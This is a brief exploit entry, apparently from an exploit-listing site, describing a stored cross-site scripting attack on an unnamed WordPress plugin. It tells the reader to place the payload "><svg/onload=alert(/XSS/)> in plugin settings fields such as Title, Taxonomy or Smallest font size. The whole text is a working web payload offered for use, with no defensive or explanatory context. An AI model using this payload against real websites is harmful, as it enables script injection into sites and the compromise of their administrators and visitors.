## https://sploitus.com/exploit?id=WPEX-ID:FC384CEA-AE44-473C-8AA9-A84A2821BDC6 Put the following payload in any text field settings of the plugin (such as Title, Taxonomy, Smallest font size etc): "><svg/onload=alert(/XSS/)>